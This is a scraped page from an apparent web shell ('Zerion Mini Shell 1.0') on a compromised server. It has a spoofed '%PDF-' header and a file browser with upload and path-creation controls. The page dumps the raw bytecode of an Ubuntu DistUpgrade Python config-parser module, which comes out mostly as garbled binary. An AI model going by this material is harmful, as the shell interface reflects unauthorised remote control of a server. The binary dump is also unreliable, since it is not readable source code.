%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/DistUpgrade/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/DistUpgrade/__pycache__/DistUpgradeConfigParser.cpython-312.pyc

�

B��e	���ddlmZmZddlmZddlZddlZddlZddl	Z	dZ
Gd�de�Zedk(r�ed�Z
ee
jd	d
��ee
jd	d��ee
j!dd
��ee
j#d	dd��ee
j%d	dd��ee
j#d	dd��yy)�)�
NoOptionError�NoSectionError)�ConfigParserNz&/etc/update-manager/release-upgrades.dc�*�eZdZ		dd�Zd�Zd�Zd�Zy)�DistUpgradeConfigNc���tj|�tjgd�tjd��j�dj
�}||_tjj||�}tjj|dz|z�r|d|zz
}g|_|r8tj|dz�D]}|jj|��|xj|gz
c_|�t}|�8tj|dz�D]}|jj|��|j!|j�y)N)�lsb_releasez-cz-sT)�stdout�universal_newlinesr�.z/*.cfg)�SafeConfigParser�__init__�
subprocess�Popen�PIPE�communicate�strip�datadir�os�path�join�exists�config_files�glob�append�CONFIG_OVERRIDE_DIR�read)�selfr�name�override_dir�defaults_dir�from_release�maincfg�cfgs        �E/usr/lib/python3/dist-packages/DistUpgrade/DistUpgradeConfigParser.pyrzDistUpgradeConfig.__init__"s0���!�!�$�'�"�'�'�'�
���#�%�%0�[�]�1�6�6;�e�g�	�����'�'�,�,�w��-��
�7�7�>�>�'�C�-�,�6�7��s�\�)�)�G������y�y���!8�9�
.���!�!�(�(��-�
.�	
���g�Y�&����.�L��#��y�y���!8�9�
.���!�!�(�(��-�
.��	�	�$�#�#�$�c�"�	t|t�r|j||�St|t�r|j	||�St|t
�r|j
||�S|j||�S#ttf$r|cYSwxYw)N)
�
isinstance�bool�
getboolean�float�getfloat�int�getint�getrr)r�section�option�defaults    r%�getWithDefaultz DistUpgradeConfig.getWithDefault=s���		��'�4�(����w��7�7��G�U�+��}�}�W�f�5�5��G�S�)��{�{�7�F�3�3��8�8�G�V�,�,���
�.�	��N�	�s"�!A:�!A:�!A:�(A:�:B�
Bc��	|j||�}|jd�D�cgc]}|j	���}}|S#ttf$rgcYSwxYwcc}w)N�,)r/rr�splitr)rr0r1�tmp�x�itemss      r%�getlistzDistUpgradeConfig.getlistIs\��	��(�(�7�F�+�C�%(�I�I�c�N�3�q�����3��3�����
�.�	��I�	��3s�A�A�A�Ac���	|j||�}tjj	|j
|�}tjj
|�stjd|z�t|�5}|D�cgc]}|j���}}ddd�D�cgc]}|jd�r�|dk(r�|��c}S#t$rgcYSwxYwcc}w#1swY�GxYwcc}w)NzgetListFromFile: no '%s' found�#�)r/rrrrrr�logging�error�openr�
startswith)	rr0r1�filename�p�fr8r9�ss	         r%�getListFromFilez!DistUpgradeConfig.getListFromFileQs���	��x�x���0�H�
�G�G�L�L����x�0���w�w�~�~�a� ��M�M�:�Q�>�?�
�!�W�	+��()�*�1�Q�W�W�Y�*�E�*�	+� �J�a����S�(9�!�r�'��J�J���	��I�	��+�	+�	+��JsA�C�C$�C�C$�*C0�C0�C0�C�C�C$�$C-)zDistUpgrade.cfgNN)�__name__�
__module__�__qualname__rr3r:rF�r&r%rr!s��%6�15�%�6
��
Kr&r�__main__r�Distro�MetaPkgs�ForcedPurges�Sources�ValidMirrors�EnableApportT�Foo�False)�configparserrrrr
r�os.pathrr>rrrrG�c�printr:rFr3�setrJr&r%�<module>rYs���.7�9�����>��:K�(�:K�z�z���#��A�	�!�)�)�H�j�
)�*�	�!�)�)�H�n�
-�.�	�!�
�
�I�~�
6�7�	�!�
�
�8�^�T�
:�;�	�!�%�%��%��
)�*�	�!�
�
�8�U�D�
1�2�r&

Zerion Mini Shell 1.0